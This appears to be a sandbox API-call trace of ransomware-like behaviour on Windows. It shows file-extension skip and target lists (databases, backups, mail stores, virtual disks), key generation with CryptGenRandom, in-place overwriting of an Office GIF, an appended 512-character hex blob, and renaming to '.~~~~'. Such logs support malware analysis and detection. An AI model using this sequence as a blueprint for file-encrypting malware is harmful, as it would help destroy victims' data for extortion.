	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DAT") returned 0x0
	[0140.739] lstrlenW (lpString=".VHDX") returned 5
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.739] lstrlenW (lpString=".ndf") returned 4
	[0140.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".ndf") returned 0x0
	[0140.740] lstrlenW (lpString=".DB") returned 3
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DB") returned 0x0
	[0140.740] lstrlenW (lpString=".sql") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".sql") returned 0x0
	[0140.740] lstrlenW (lpString=".MYD") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".MYD") returned 0x0
	[0140.740] lstrlenW (lpString=".DBT") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DBT") returned 0x0
	[0140.740] lstrlenW (lpString=".ACCDB") returned 6
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.740] lstrlenW (lpString=".fdb") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".fdb") returned 0x0
	[0140.740] lstrlenW (lpString=".bak") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".bak") returned 0x0
	[0140.740] lstrlenW (lpString=".myd") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".myd") returned 0x0
	[0140.740] lstrlenW (lpString=".DTXS") returned 5
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.740] lstrlenW (lpString=".ckp") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".ckp") returned 0x0
	[0140.740] lstrlenW (lpString=".dbt") returned 4
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".dbt") returned 0x0
	[0140.740] lstrlenW (lpString=".db") returned 3
	[0140.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".db") returned 0x0
	[0140.740] lstrlenW (lpString=".TXT") returned 4
	[0140.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".TXT") returned 0x0
	[0140.741] lstrlenW (lpString=".MDF") returned 4
	[0140.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".MDF") returned 0x0
	[0140.741] lstrlenW (lpString=".bdb") returned 4
	[0140.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".bdb") returned 0x0
	[0140.741] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.741] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.742] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.742] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.743] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26073268974) returned 1
	[0140.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd4b9030, dwHighDateTime=0x1d60e1e)) 
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d0d8
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d0d8 | out: hHeap=0x300000) returned 1
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8410
	[0140.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8410 | out: hHeap=0x300000) returned 1
	[0140.743] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.744] GetLastError () returned 0x0
	[0140.744] GetLastError () returned 0x0
	[0140.744] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.744] GetLastError () returned 0x0
	[0140.744] GetLastError () returned 0x0
	[0140.744] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x4bda, lpOverlapped=0x0) returned 1
	[0140.853] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffb426, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.853] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4bda, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x4bda, lpOverlapped=0x0) returned 1
	[0140.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.853] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.853] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.854] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.854] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.854] CloseHandle (hObject=0x108) returned 1
	[0140.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif.~~~~")) returned 1
	[0140.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceab8 | out: hHeap=0x300000) returned 1
	[0140.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.857] GetLastError () returned 0x0
	[0140.857] RtlWakeConditionVariable () returned 0x0
	[0140.857] GetCurrentThreadId () returned 0x3a4
	[0140.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".scr") returned 0x0
	[0140.857] lstrlenW (lpString=".cmd") returned 4
	[0140.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".cmd") returned 0x0
	[0140.857] lstrlenW (lpString=".dll") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dll") returned 0x0
	[0140.858] lstrlenW (lpString=".bat") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".bat") returned 0x0
	[0140.858] lstrlenW (lpString=".cpl") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".cpl") returned 0x0
	[0140.858] lstrlenW (lpString=".sys") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".sys") returned 0x0
	[0140.858] lstrlenW (lpString=".msc") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".msc") returned 0x0
	[0140.858] lstrlenW (lpString=".com") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".com") returned 0x0
	[0140.858] lstrlenW (lpString=".lnk") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".lnk") returned 0x0
	[0140.858] lstrlenW (lpString=".msp") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".msp") returned 0x0
	[0140.858] lstrlenW (lpString=".pif") returned 4
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".pif") returned 0x0
	[0140.858] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.860] lstrlenW (lpString=".sqb") returned 4
	[0140.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".sqb") returned 0x0
	[0140.860] lstrlenW (lpString=".ost") returned 4
	[0140.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".ost") returned 0x0
	[0140.860] lstrlenW (lpString=".txt") returned 4
	[0140.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".txt") returned 0x0
	[0140.861] lstrlenW (lpString=".mdt") returned 4
	[0140.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".mdt") returned 0x0
	[0140.861] lstrlenW (lpString=".BDB") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".BDB") returned 0x0
	[0140.862] lstrlenW (lpString=".eql") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".eql") returned 0x0
	[0140.862] lstrlenW (lpString=".DBF") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DBF") returned 0x0
	[0140.862] lstrlenW (lpString=".EQL") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".EQL") returned 0x0
	[0140.862] lstrlenW (lpString=".FDB") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".FDB") returned 0x0
	[0140.862] lstrlenW (lpString=".EDB") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".EDB") returned 0x0
	[0140.862] lstrlenW (lpString=".DACPAC") returned 7
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.862] lstrlenW (lpString=".VHD") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".VHD") returned 0x0
	[0140.862] lstrlenW (lpString=".DBV") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DBV") returned 0x0
	[0140.862] lstrlenW (lpString=".dacpac") returned 7
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.862] lstrlenW (lpString=".sdf") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".sdf") returned 0x0
	[0140.862] lstrlenW (lpString=".accdb") returned 6
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".accdb") returned 0x0
	[0140.862] lstrlenW (lpString=".DBX") returned 4
	[0140.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DBX") returned 0x0
	[0140.862] lstrlenW (lpString=".MDT") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".MDT") returned 0x0
	[0140.863] lstrlenW (lpString=".SQB") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".SQB") returned 0x0
	[0140.863] lstrlenW (lpString=".vhd") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".vhd") returned 0x0
	[0140.863] lstrlenW (lpString=".bac") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".bac") returned 0x0
	[0140.863] lstrlenW (lpString=".mdf") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".mdf") returned 0x0
	[0140.863] lstrlenW (lpString=".BAK") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".BAK") returned 0x0
	[0140.863] lstrlenW (lpString=".BAC") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".BAC") returned 0x0
	[0140.863] lstrlenW (lpString=".dbs") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dbs") returned 0x0
	[0140.863] lstrlenW (lpString=".vhdx") returned 5
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.863] lstrlenW (lpString=".NDF") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".NDF") returned 0x0
	[0140.863] lstrlenW (lpString=".dat") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dat") returned 0x0
	[0140.863] lstrlenW (lpString=".DBS") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DBS") returned 0x0
	[0140.863] lstrlenW (lpString=".CKP") returned 4
	[0140.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".CKP") returned 0x0
	[0140.863] lstrlenW (lpString=".edb") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".edb") returned 0x0
	[0140.864] lstrlenW (lpString=".PST") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".PST") returned 0x0
	[0140.864] lstrlenW (lpString=".dbf") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dbf") returned 0x0
	[0140.864] lstrlenW (lpString=".SQL") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".SQL") returned 0x0
	[0140.864] lstrlenW (lpString=".pst") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".pst") returned 0x0
	[0140.864] lstrlenW (lpString=".dbv") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dbv") returned 0x0
	[0140.864] lstrlenW (lpString=".SDF") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".SDF") returned 0x0
	[0140.864] lstrlenW (lpString=".dtxs") returned 5
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.864] lstrlenW (lpString=".db3") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".db3") returned 0x0
	[0140.864] lstrlenW (lpString=".OST") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".OST") returned 0x0
	[0140.864] lstrlenW (lpString=".dbx") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dbx") returned 0x0
	[0140.864] lstrlenW (lpString=".DB3") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DB3") returned 0x0
	[0140.864] lstrlenW (lpString=".DAT") returned 4
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DAT") returned 0x0
	[0140.864] lstrlenW (lpString=".VHDX") returned 5
	[0140.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.865] lstrlenW (lpString=".ndf") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".ndf") returned 0x0
	[0140.865] lstrlenW (lpString=".DB") returned 3
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DB") returned 0x0
	[0140.865] lstrlenW (lpString=".sql") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".sql") returned 0x0
	[0140.865] lstrlenW (lpString=".MYD") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".MYD") returned 0x0
	[0140.865] lstrlenW (lpString=".DBT") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DBT") returned 0x0
	[0140.865] lstrlenW (lpString=".ACCDB") returned 6
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.865] lstrlenW (lpString=".fdb") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".fdb") returned 0x0
	[0140.865] lstrlenW (lpString=".bak") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".bak") returned 0x0
	[0140.865] lstrlenW (lpString=".myd") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".myd") returned 0x0
	[0140.865] lstrlenW (lpString=".DTXS") returned 5
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.865] lstrlenW (lpString=".ckp") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".ckp") returned 0x0
	[0140.865] lstrlenW (lpString=".dbt") returned 4
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".dbt") returned 0x0
	[0140.865] lstrlenW (lpString=".db") returned 3
	[0140.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".db") returned 0x0
	[0140.866] lstrlenW (lpString=".TXT") returned 4
	[0140.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".TXT") returned 0x0
	[0140.866] lstrlenW (lpString=".MDF") returned 4
	[0140.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".MDF") returned 0x0
	[0140.866] lstrlenW (lpString=".bdb") returned 4
	[0140.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".bdb") returned 0x0
	[0140.866] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
